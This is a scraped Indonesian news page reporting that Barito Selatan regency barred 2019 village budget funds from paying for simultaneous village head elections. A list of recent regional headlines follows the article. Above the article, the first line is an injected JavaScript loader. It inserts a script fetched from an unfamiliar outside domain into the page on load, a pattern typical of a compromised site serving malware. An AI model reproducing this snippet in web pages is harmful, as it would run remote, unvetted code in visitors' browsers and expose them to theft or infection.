(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Dana APBDes 2019 Tidak Boleh Dipakai untuk Penyelenggaraan Pilkades


BUNTOK, Berdasarkan surat edaran dari Provinsi Kalteng, Pemkab Barsel melalui surat Edaran Sekda terhitung sejal 28 Agustus, melarang untuk dana APBDes 2019 dipakai pada pelaksanaan Pilkades serentak 2019 ini.

“Jadi terhitung sejak 28 Agustus lalu, memberitahukan dana APBdes 2019 tidak boleh dipakai lagi untuk penyelenggaraan Pilkades serentak 2019 ini,” kata Pj Sekda Barsel Syahrani kepada Kanalkalimantan.com, di kantornya Jumat (30/8).

Ia juga mengatakan, sesuai dengan Permendagri Nomor 65/2017. Serta juga Perda Barsel nomor 9/2018. Sehingga pihak Provinsi menyurati tiga kabupaten yang menggunakan APBDes dalam penyelenggaraan Pilkades termasuk Barsel. “Kita juga telah berkoordinasi dengan Badan Pemeriksa Keuangan atau BPK bahwa Pilkades serentak tidak bisa dilaksanakan apabila menggunakan APBDes,” ucap Syahrani.

Dijelaskan olehnya berdasarkan hal tersebut pihaknya telah menelegram atau menyurati Camat, Kepala Desa dan panitia Pilkades tingkat desa untuk menghentikan penyaluran dana untuk pelaksanaan Pilkades yang bersumber dari APBDes. “Mulai tanggal 28 Agustus 2019 kemarin kita telah membuat telegram untuk menghentikan penyaluran dana untuk pelaksanaan Pilkades serentak yang bersumber dari APBDes,” ujarnya.

Menurutnya, untuk anggaran bersumber dari APBDes yang sudah terlanjur digunakan tidak jadi masalah. Karena pihaknya telah menyurati agar menghentikan penyalurannya. Untuk mengantisipasi hal tersebut, lanjut dia, pihaknya mengefisien anggaran yang ada, mengusulkan anggaran untuk Pilkades di perubahan dan menggunakan dana tidak terduga.

Ia menambahkan, meski demikian tahapan pilkades tetap berjalan sebagaimana mestinya. Hanya saja apakah nanti pelaksanaannya sesuai dengan jadwal ada mengalami penundaan. “Yang pasti kita masih menunggu penganggaran di APBD perubahan nanti, apakah sesuai jadwal atau ditunda,” pungkas Syahrani.(digdo)

Reporter : Digdoo
Editor : Chell

Desy Arfianty

Recent Posts

Sah! Ini 30 Calon Terpilih Anggota DPRD HSU 2024-2029

KANALKALIMANTAN.COM, AMUNTAI - Komisi Pemilihan Umum (KPU) Kabupaten Hulu Sungai Utara (HSU) menetapkan 30 perolehan… Read More

1 jam ago

Sebelum Dilantik, 30 Calon Terpilih DPRD Banjarbaru Harus Lapor Harta Kekayaan

KANALKALIMANTAN.COM, BANJARBARU – Calon terpilih Anggota Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru pada Pemilu… Read More

5 jam ago

Tiga Putra HSU Terbaik Pertama Syarhil Qur’an MTQ XXXV Kalsel

KANALKALIMANTAN.COM, RANTAU - Enam orang dari kafilah Kabupaten Hulu Sungai Utara (HSU) sukses meraih prestasi… Read More

5 jam ago

Resmi Ditetapkan, Ini 45 Calon Terpilih Anggota DPRD Banjarmasin 2024-2029

PAN, Golkar dan PKS Masing-masing 7 Kursi di DPRD Banjarmasin Read More

5 jam ago

Juara Umum di MTQ Provinsi, Ketua LPTQ Banjar Pastikan Bonus bagi Pemenang

KANALKALIMANTAN.COM, MARTAPURA - Kabupaten Banjar meraih sukses pada Musabaqah Tilawatil Quran (MTQ) Nasional XXXV Tingkat… Read More

7 jam ago

Pungut Sampah Suporter Timnas Pasca Nobar di Balai Kota Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Suporter setia Timnas Indonesia di Kota Banjarbaru Kalimantan Selatan (Kalsel) kompak membersihkan… Read More

9 jam ago

This website uses cookies.